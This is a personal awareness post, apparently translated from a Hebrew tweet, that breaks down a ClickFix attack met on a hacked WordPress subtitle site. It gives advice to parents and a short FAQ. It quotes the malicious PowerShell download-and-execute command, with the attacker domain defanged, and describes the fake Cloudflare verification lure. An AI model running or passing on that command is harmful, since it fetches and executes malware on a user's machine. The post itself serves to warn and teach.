I was at my mom's place today. She asked me to check something on her computer: some site would not let her in and was asking her to run something. She stopped and asked instead of clicking. Years of education bearing fruit. Well done, mom.
The original version was a tweet in Hebrew.
What the page wanted her to run
powershell iex ([string](irm eldertechsupport[.]com -UseBasicParsing))The URL is deliberately defanged here so nobody runs it by accident.
Sure. Let's download something from that address and execute it straight into memory. irm fetches the content, iex executes it, and nothing lands on disk as a file you might notice.
And look at the domain name: eldertechsupport. Tech support for the elderly. That is not a coincidence. It is there precisely so that whoever glances at the command for a second thinks: ah, some support service.
ClickFix, done well
This turns out to be classic ClickFix, injected into a hacked WordPress site. In this case a subtitle site for Korean dramas, exactly the kind of small site that gets compromised and weaponized.
And it looked good. Genuinely good. A Cloudflare logo, links that point to Cloudflare's real pages, everything in Hebrew. They invested.
The flow is always the same: a fake verify-you-are-human page tells you to press Win+R, paste (the malicious command is already on your clipboard, the page put it there), and hit Enter. The victim infects the machine themselves, so no download prompt and no browser warning ever fires.
One rule. Send it to your parents
No legitimate service in the world will ask you to press Win+R and paste a command. Not Cloudflare, not Google, not Microsoft. Real verification happens inside the browser. If you were asked, close the tab.
That is the entire defense. It needs no technical knowledge, just the reflex my mom showed: when a website asks you to do something outside the browser, stop and ask someone.
The same pattern, an authoritative-looking page instructing whoever reads it to run a command, is also why letting AI agents browse and execute things unsupervised is a real security decision. I wrote about that side of it in Model Judgment Is Not Access Control, and it shapes how I approach enterprise AI deployments.
FAQ
What is a ClickFix attack?
A social engineering attack where a hacked website shows a fake verification page, often with Cloudflare branding, that instructs you to press Win+R, paste a command the page already placed on your clipboard, and hit Enter. The command downloads and runs malware straight into memory. Because the victim runs it themselves, no download prompt or browser warning ever appears.
How do I recognize a fake Cloudflare verification page?
A real verification never leaves the browser. Any check that asks you to press Win+R, open a terminal, or paste a command is an attack, no matter how good the logo looks. Close the tab.